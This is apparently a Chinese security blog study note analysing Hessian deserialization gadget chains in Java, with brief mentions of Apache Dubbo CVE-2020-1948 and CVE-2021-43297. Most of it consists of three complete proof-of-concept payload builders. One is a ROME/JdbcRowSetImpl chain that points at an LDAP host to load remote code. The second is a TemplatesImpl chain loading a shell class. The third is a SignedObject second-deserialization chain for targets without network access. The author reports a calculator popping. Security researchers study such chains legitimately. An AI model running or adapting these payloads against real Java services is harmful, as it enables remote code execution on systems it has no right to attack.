文章1 文章2 文章3 字节 文章4

这里前言和简介就不写了 上面给的文章写的都很清楚了 直接看就行了

(就是prc啥的 直接看上面的文章就行了)

这里的只分析链子

Hessian反序列化漏洞分析

Hessian反序列化漏洞的关键出在HessianInput#readObject,由于Hessian会将序列化的结果处理成一个Map,所以序列化结果的第一个byte总为M(ASCII为77)。下面我们跟进readObject()

HessianInput#readObject部分代码如下

image-20230625153912111

打个断点来进行分析

image-20230625153943252

跟进这个readMap()方法

image-20230625154035372

接着跟进这个getDeserializer()方法 获取反序列化的返回结果

image-20230625154203052

在获取到deserializer后,java会创建一个HashMap作为缓存,并将我们需要反序列化的类作为key放入HashMap中。

看过rome链子的应该能反应过来这里 hashmap key

后续代码能够触发任意类的hashcode()方法

image-20230625160235189

因为这个key可控

至此,我们Gadget的构造思路也就十分清晰了,只需要找一条入口为hashcode()的反序列化链即可,比如我们常用的ROME链

Hessian+Rome

1
2
3
4
5
6
7
8
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

利用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_JNDI implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://192.168.142.129:9999/EXP";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

image-20230706165052839

image-20230706165058207

成功弹出计算器

Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

Apache Dubbo 是一款高性能的开源Java RPC框架。

影响范围

  • 2.7.0 <= Dubbo Version <= 2.7.6
  • 2.6.0 <= Dubbo Version <= 2.6.7
  • Dubbo 所有 2.5.x 版本(官方团队目前已不支持)

这里的就不写了 了解一下就行了 因为搭建环境太麻烦了

TemplatesImpl+SignedObject二次反序列化(ROME不出网)

上文我们构造的都是JdbcRowSetImpl这条ROME链,最终结果是造成JNDI注入。那如果目标不出网,我们又怎么利用呢?

或许你还记得ROME中的TemplatesImpl利用链,其能够加载任意类,进而任意代码执行。下面我们来尝试构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.example;


import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Hessian2_TemplatesImpl {

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\google download\\shell.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);

ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

HashMap hashMap = makeMap(objectBean,"1");

byte[] payload = serialize(hashMap);
deserialize(payload);

}

}

这里其实是由于TemplatesImpl类中被transient修饰的_tfactory属性无法被序列化,进而导致TemplatesImpl类无法初始化image-20230706175648609

但是如果在jdk的原生反序列化的话就可以序列化成功

我们知道,在使用Java原生的反序列化时,如果被反序列化的类重写了readObject(),那么Java就会通过反射来调用重写的readObject()

image-20230706175844926

可以看到这里手动new了一个TransformerFactoryImpl类赋值给_tfactory,这样就解决了_tfactory无法被序列化的情况

当一个变量被声明为 transient 时,在进行对象的序列化过程中,该变量的值不会被持久化保存到字节流中。这意味着在对象被反序列化后,该变量的值将会被设置为其默认值,而不是序列化时的值。

如果一个类中包含了 readObject 方法,在对象进行反序列化时,会按照以下顺序执行相关操作:

  1. 默认的反序列化操作会读取对象的非 transient 字段,并将它们的值恢复。
  2. 如果类中有 readObject 方法,那么该方法会被调用。在这个方法中,你可以自定义读取和恢复对象状态的过程。你可以使用 defaultReadObject 方法读取默认字段值,也可以通过实现自定义逻辑来恢复其他字段的值。
  3. 反序列化过程完成后,返回反序列化后的对象。

所以说就是变量被声明为 transient的时候可以进行序列化操作,只不过是会再反序列化(readobject)的时候值仍然是默认值

那么我们应该怎么办呢 想法就是想让其进行序列化成功,如何然后再使用hessian进行反序列化

这里的话我们就可以想到二次反序列化了 这里使用的是SignedObject这个类

image-20230706180355930

这里面用的就是原生的jdk序列

在SignedObject类的构造函数能够序列化一个类并且将其存储到属性content

在其getObject()中能够将其反序列化出来,并且该方法还是getter

image-20230706200004122

rome 的ToStringBeantoString()方法 是可以调用任意getter方法的

这就完美符合我们的利用条件,于是可以构造出如下Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian2_SignedObject {



public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\ctf application\\idea_vip\\IntelliJ IDEA 2023.1.2\\project\\Hessian\\src\\main\\java\\org\\example\\calc.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);

//此处写法较为固定,用于初始化SignedObject类
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);

ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);

HashMap hashMap = makeMap(equalsBean, equalsBean);

byte[] payload = Hessian2_Serial(hashMap);
Hessian2_Deserial(payload);
}

public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}

public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}

public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

个人理解

在序列化的时候image-20230706214832344

这个回执行里面的方法来奖上面的templatesimpl给序列化掉

然后在反序列化的时候

image-20230706214927202

这个方法会调用任意getter方法 然后就会调用到SignedObject里面的getObject方法

image-20230706215135347

然后就会执行反序列化操作 最后执行恶意代码

image-20230706215244806

Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)

这里的话了解就行 因为搭建环境比较麻烦